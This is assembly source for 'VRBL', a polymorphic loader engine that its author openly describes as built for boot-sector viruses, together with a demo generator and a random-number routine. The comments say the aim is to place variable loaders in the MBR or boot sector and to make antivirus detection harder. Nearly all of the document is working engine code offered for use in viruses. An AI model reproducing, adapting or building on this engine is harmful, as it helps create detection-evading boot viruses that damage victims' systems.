;
;                       . .: .:.. :.. .. .:.::. :. ..:
;                     <<-==млллллм=млллллм=млллллм===<
;                      .:: ллл ллл:ллл ллл.ллл ллл .:.
;                      . .:.мммллп.плллллл.ллллллл:..
;                       ...лллмммм:ммммллл:ллл ллл.::.
;                      >===ллллллл=ллллллп=ллл ллл=->>
;                     .: .:.. ..:. .: ..:.::. ::.. :.:.
;
;                                   [VRBL]
;                         Vecna's Random Boot Loader
;
;
; This is the first polymorphic engine exclusively designed for boot viruses
; ever, and it's, maybe, one of the most variable engines in the world! This
; engine creates a loader, to be put in the MBR/BOOT, and sets up  registers
; for further polymorphism in the virus body. The engine, btw, is very small
; as it's only 739 bytes long.
;
; The engine operates this way: first  it creates  random movs, jmps, xchgs,
; adds, xors, and so on. They are fully random, with no fixed structure. Af-
; ter this, it executes the  loader  in single step  mode. The int 1 handler
; checks for the  end of  the generated code, when it  passes control to the
; final routine, which fixes the needed registers, thru xors, adds and subs,
; using the values  that are already held in the registers. So, not even the
; moves are fixed. After this, the loader passes control  to the virus body,
; either by an intersegmented jump, or by means of a retf instruction.
;
; The engine has  two EQUates, which  are SIZE_IN_SECTORS and SEGMENT_VALUE.
; In SIZE_IN_SECTORS you must put the size of your virus divided by 512, and
; in SEGMENT_VALUE, the value of the segment you want your virus to get con-
; trol of. As your virus probably gets mem from 0:[413h], you should not put
; very high values here, because your virus may overwrite itself when moving
; to the final segment. In machines with 640kb of conventional memory, which
; is the most common value nowadays, the max value is 640-((SIZE_IN_SECTORS*
; 512)*2). Remember also not  to put this  value in the 7c0h-7b0h or 0h-100h
; segment area, because of the original boot and the IVT presence.
;
; In short, use 2000 and it will work. ;-)
;
; Below you will find the code for VRBL, and later a demo test program which
; shows the effectivity of the engine, and the randomizer routine that I de-
; signed especifically for it. Hope you enjoy it!


; - -[VRBL.ASM] - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
;
; Poly engine for boot loader
;   Entry:
;     DI = buffer to put loader in
;     CX = cylynder of code
;     DX = head of code
;   Exit:
;     All preserved

size_in_sectors equ 3
segment_value equ 2000h

makeloader proc
       pusha
       push ds
       push es
       push cs
       push cs
       pop es
       pop ds
       call random_init
       mov word ptr ds:[_CX], cx
       mov word ptr ds:[_DX], dx
       call random
       and ax, 000111111b
       or al, 10000b
       mov cx, ax
       mov word ptr [START], di
       call random
       and ax, 011111b
       add al, 000111b
       push cx
       mov cx, ax
MyBrainIsUpsideDown:
       call make_mov
       loop MyBrainIsUpsideDown
       pop cx
LoveKills:
       push cx
NowIWannaSniffSomeGlue:
       call random
       and ax, 0111b
       shl ax, 1
       mov si, offset GARBAGE_TABLE
       add si, ax
       cmp si, word ptr ds:[LAST_CHOOSEN]
       je NowIWannaSniffSomeGlue
       mov word ptr ds:[LAST_CHOOSEN], si
       call word ptr ds:[si]
       pop cx
       loop LoveKills
       mov word ptr [STOP], di
       push 0
       pop ds
       push dword ptr ds:[1*4]
       mov word ptr ds:[1*4], offset INT1
       mov word ptr ds:[1*4+2], cs
       mov word ptr cs:[_SP], sp
       mov ax, ss
       mov word ptr cs:[_SS], ax
       mov cx, 8
IDontWantBeBuriedInAPetCemetary:
       push 0
       loop IDontWantBeBuriedInAPetCemetary
       popa
       push 0100h
       push cs
       push word ptr cs:[START]
       iret
endp   makeloader

       db '[VRBL]'

make_jmp proc
       call random
       mov al, 0ebh
       and ah, 000001111b
       or ah, 00000011b
       stosw
       movzx cx, ah
RamonesMania:
       call random
       stosb
       loop RamonesMania
       ret
endp   make_jmp

make_inst_inst proc
       call random
       and ax, 01100000111b
       mov bx, offset TABLE_INST_INST
       xlat
       or al, ah
       stosb
SpiderMan:
       call random
       and ax, 00111111b
       mov cx, ax
       mov dx, ax
       shr dx, 3
       and cx, 0111b
       cmp cx, dx
       je SpiderMan
       cmp cx, 0100b
       je SpiderMan
       cmp dx, 0100b
       je SpiderMan
       or ax, 11000000b
       stosb
       ret
endp   make_inst_inst

table_inst_inst equ this byte
       db 00001000b
       db 10001000b
       db 00100000b
       db 00010000b
       db 00000000b
       db 00011000b
       db 00101000b
       db 00110000b

make_inst_sec proc
       mov al, 011110111b
       stosb
TheKKKTookMyBabyAway:
       call random
       and ax, 0000011100111000b
       cmp ah, 00000100b
       je TheKKKTookMyBabyAway
       cmp al, 00010000b
       jb TheKKKTookMyBabyAway
       cmp al, 00101000b
       ja TheKKKTookMyBabyAway
       or al, ah
       or al, 011000000b
       stosb
       ret
endp   make_inst_sec

make_one_byte proc
       mov si, offset table_one
       call random
       and ax, 00001111b
       movsb
       ret
endp   make_one_byte

table_one equ this byte
       clc
       cld
       cli
       stc
       std
       sti
       cmc
       cwd
       cbw
       lodsb
       scasb
       sahf
       lahf
       int 3
       nop
       db 0f1h

make_inst_imm proc
       mov bx, offset i_table
       mov al, 10000001b
       stosb
DoYouWannaDance:
       call random
       and ax, 0000011100000111b
       cmp ah, 0100b
       je DoYouWannaDance
       xlat
       or al, ah
       stosb
       call random
       stosw
       ret
endp   make_inst_imm

i_table equ this byte
       db 11000000b
       db 11001000b
       db 11010000b
       db 11011000b
       db 11100000b
       db 11101000b
       db 11110000b
       db 11111000b

inc_dec_ proc
IWannaBeSedated:
       call random
       and al, 01111b
       mov cl, al
       and cl, 0111b
       cmp cl, 0100b
       je IWannaBeSedated
       or al, 01000000b
       stosb
       ret
endp   inc_dec_

make_mov proc
       call random
       and al, 0111b
       cmp al, 0100b
       je make_mov
       or al, 010111000b
       stosb
       call random
       stosw
       ret
endp   make_mov

start  equ this byte
       dw 0

last_choosen equ this byte
       dw 0

garbage_table equ this byte
       dw offset make_inst_inst
       dw offset make_mov
       dw offset make_inst_sec
       dw offset make_inst_imm
       dw offset inc_dec_
       dw offset make_one_byte
       dw offset make_jmp
       dw offset make_mov

int1   proc
       push bp
       mov bp, sp
       cmp word ptr cs:[bp+2], 1234h
stop   equ word ptr $-2
       jae fixreg
       pop bp
       iret
endp   int1

fixreg proc
       mov word ptr cs:[SAVE_AX], ax
       mov word ptr cs:[SAVE_BX], bx
       mov word ptr cs:[SAVE_CX], cx
       mov word ptr cs:[SAVE_DX], dx
       cli
       mov sp, 1234h
_sp    equ word ptr $-2
       mov ax, 1234h
_ss    equ word ptr $-2
       mov ss, ax
       sti
       push 0
       pop ds
       pop dword ptr ds:[1*4]
       push cs
       push cs
       pop ds
       pop es
       mov di, word ptr [STOP]
BornToDieInBerlin:
       mov bp, 0
ImAStumpedStormtropperYesIAm:
       mov si, offset TABLE_FIX
       call random
       and ax, 0111b
       cmp al, 6
       jae ImAStumpedStormtropperYesIAm
       shl ax, 1
       add si, ax
       call word ptr [si]
       call random
       jp IBelieveInMiracles
       call make_jmp
IBelieveInMiracles:
       cmp bp, 0111111b
       jne ImAStumpedStormtropperYesIAm
       jmp HeyOhLetsGo

table_fix equ this byte
       dw offset make_ax
       dw offset make_bx
       dw offset make_cx
       dw offset make_dx
       dw offset make_es
       dw offset make_override

make_ax:
       bts bp, 0
       jc $ret
       mov dl, 000b
       mov bx, word ptr [SAVE_AX]
       mov cx, word ptr [_AX]
$put:
       mov al, 010000001b
       stosb
       call random
       and ax, 011b
       cmp al, 1
       je @sub
       cmp al, 2
       je @add
@xor:
       xor bx, cx
       mov al, 011110000b
       jmp store
@sub:
       sub bx, cx
       mov al, 011101000b
       jmp store
@add:
       sub bx, cx
       neg bx
       mov al, 011000000b
store:
       and al, not(0111b)
       or al, dl
       stosb
       xchg ax, bx
       stosw
$ret:
       ret
make_bx:
       bts bp, 1
       jc $ret
       mov dl, 011b
       mov bx, word ptr [SAVE_BX]
       mov cx, word ptr [_BX]
       jmp $put
make_cx:
       bts bp, 2
       jc $ret
       mov dl, 001b
       mov bx, word ptr [SAVE_CX]
       mov cx, word ptr [_CX]
       jmp $put
make_dx:
       bts bp, 3
       jc $ret
       mov dl, 010b
       mov bx, word ptr [SAVE_DX]
       mov cx, word ptr [_DX]
       jmp $put
make_es:
       bts bp, 4
       jc $ret
       bt bp, 5
       jc SadMOV
PushPop:
       mov al, 68h
       stosb
       mov ax, SEGMENT_VALUE
       stosw
       mov al, 0
       org $-1
       pop es
       stosb
       jmp $ret
SadMOV:
       mov al, 010111101b
       stosb
       mov ax, SEGMENT_VALUE
       stosw
       mov al, 010001110b
       stosb
       mov al, 011000101b
       stosb
;      mov bp, SEGMENT_VALUE
;      mov es, bp
       jmp $ret
make_override:
       bts bp, 5
       jc $ret
       mov al, 68h
       stosb
       mov ax, SEGMENT_VALUE
       stosw
       mov bl, byte ptr [seg_need]
TryES:
       cmp bl, 26h
       jne TryCS
;      mov al, 0
;      org $-1
;      pop es
;      stosb
CleanDI:
       sub di, 3
       jmp $ret
TryCS:
       cmp bl, 2eh
       je CleanDI
;      mov al, 0
;      org $-1
;      pop cs
;      stosb
TrySS:
       cmp bl, 36h
       jne TryDS
       mov al, 0
       org $-1
       pop ss
       jmp BackInBlack
TryDS:
       cmp bl, 90h
       jne TryFS
       mov al, 0
       org $-1
       pop ds
BackInBlack:
       stosb
       jmp $ret
TryFS:
       cmp bl, 64h
       jne TryGS
       mov ax, 1234h
       org $-2
       pop fs
       jmp BackToTheHell
TryGS:
       mov ax, 1234h
       org $-2
       pop gs
BackToTheHell:
       stosw
       jmp $ret
HeyOhLetsGo:
       mov ax, 013cdh
       stosw
       call random
       bt ax, 1
       jc make_jump
make_retf:
       mov ax, 00
     org $-2
       push es
       push bx
       stosw
       mov al, 0
     org $-1
       retf
       stosb
       jmp done
make_jump:
       mov al, 0eah
       stosb
       mov ax, word ptr cs:[_BX]
       stosw
       mov ax, SEGMENT_VALUE
       stosw
       jmp done
done:
       mov word ptr [STOP], di
       pop es
       pop ds
       popa
       ret
endp   fixreg

_AX    dw 200h+size_in_sectors
_BX    dw 0
_CX    dw ?
_DX    dw ?

save_AX dw ?
save_BX dw ?
save_CX dw ?
save_DX dw ?

; - -[DEMO.ASM] - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
;
; This demo program generates 99999999 little demos of my engine. This code
; must reside in the MBR or the  boot sector of a floppy or harddrive. They
; will load the rest of the virus from other track. They're very  variable.
; This code is designed to run in a boot, so, if you execute the demos they
; will surely crash. Check the code with a debugger.


.model tiny
.code
.startup
.386

       push cs
       pop ds
       push cs
       pop es
do_next:
       call random_init
       mov di, 08000h
       mov cx, 1
       mov dx, 0180h
       call makeloader
       mov ah, 3ch
       mov dx, offset fn2
       xor cx, cx
       int 21h
       jc exit_dem
       xchg ax, bx
       mov ah, 40h
       mov cx, word ptr [STOP]
       mov dx, word ptr [START]
       sub cx, dx
       int 21h
       mov ah, 3eh
       int 21h
       cmp byte ptr ds:[fn2+7], '9'
       je zero_1
       inc byte ptr ds:[fn2+7]
       jmp next_file
zero_1:
       mov byte ptr ds:[fn2+7], '0'
       cmp byte ptr ds:[fn2+6], '9'
       je zero_2
       inc byte ptr ds:[fn2+6]
       jmp next_file
zero_2:
       mov byte ptr ds:[fn2+6], '0'
       cmp byte ptr ds:[fn2+5], '9'
       je zero_3
       inc byte ptr ds:[fn2+5]
       jmp next_file
zero_3:
       mov byte ptr ds:[fn2+5], '0'
       cmp byte ptr ds:[fn2+4], '9'
       je zero_4
       inc byte ptr ds:[fn2+4]
       jmp next_file
zero_4:
       mov byte ptr ds:[fn2+4], '0'
       cmp byte ptr ds:[fn2+3], '9'
       je zero_5
       inc byte ptr ds:[fn2+3]
       jmp next_file
zero_5:
       mov byte ptr ds:[fn2+3], '0'
       cmp byte ptr ds:[fn2+2], '9'
       je zero_6
       inc byte ptr ds:[fn2+2]
       jmp next_file
zero_6:
       mov byte ptr ds:[fn2+2], '0'
       cmp byte ptr ds:[fn2+1], '9'
       je zero_7
       inc byte ptr ds:[fn2+1]
       jmp next_file
zero_7:
       mov byte ptr ds:[fn2+1], '0'
       cmp byte ptr ds:[fn2], '9'
       je exit_dem
       inc byte ptr ds:[fn2]
       jmp next_file
next_file:
       jmp do_next
exit_dem:
       int 20h

fn2    db '00000000.COM',0

seg_need db 65h

        include random.asm
        org 01000h
        include vrbl.asm
end

; - -[RANDOM.ASM] - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
;
; This is a slow random  number generator. This type of random number gene-
; rators are ideal for polymorphic  viruses, because AVs will need  to work
; hard in order to create a reliable algorithm to detect the virus. Despite
; of this, I changed it not to be slow, so I can demostrate the variability
; of the engine. You need to call first RANDOM_INIT, then RANDOM to get the
; random values back in AX.


random_init proc
       pusha
       push es
       push ds
       push cs cs
       pop ds es
       mov ah, 8
       mov dl, 80h
;      int 13h
       mov ax, 201h
       mov bx, offset random_table
       and cx, 0111111b
       mov dx, 0080h
;      int 13h
       cmp dword ptr ds:[bx], '  );'
;      je TableDone
CreateTable:
       mov di, bx
       mov cx, 512
NextRandom:
       in al, 40h
       xor byte ptr [X_V], al
       in al, 40h
       add byte ptr [X_V], al
       jmp $+2
       mov al, 00
X_V    equ $-1
       stosb
       loop NextRandom
WriteTable:
       mov ah, 8
       mov dl, 80h
;      int 13h
       mov ax, 301h
       mov dword ptr ds:[bx], '  );'
       and cx, 0111111b
       mov dx, 80h
;      int 13h
TableDone:
       mov word ptr ds:[RANDOM_NUMBER], 5
       pop ds
       pop es
       popa
       ret
endp   random_init

random proc
       push bx
       push ds
       push cs
       pop ds
       mov ax, word ptr [RANDOM_NUMBER]
       mov bx, ax
       inc ax
       cmp ax, 512
       jbe ImTheCrusherKingOfTheRing
       mov ax, 4
ImTheCrusherKingOfTheRing:
       mov word ptr [RANDOM_NUMBER], ax
       mov ax, word ptr [RANDOM_TABLE+bx]
       sahf
       pop ds
       pop bx
       ret
endp   random

random_number dw 0
random_table db 512 dup(0)
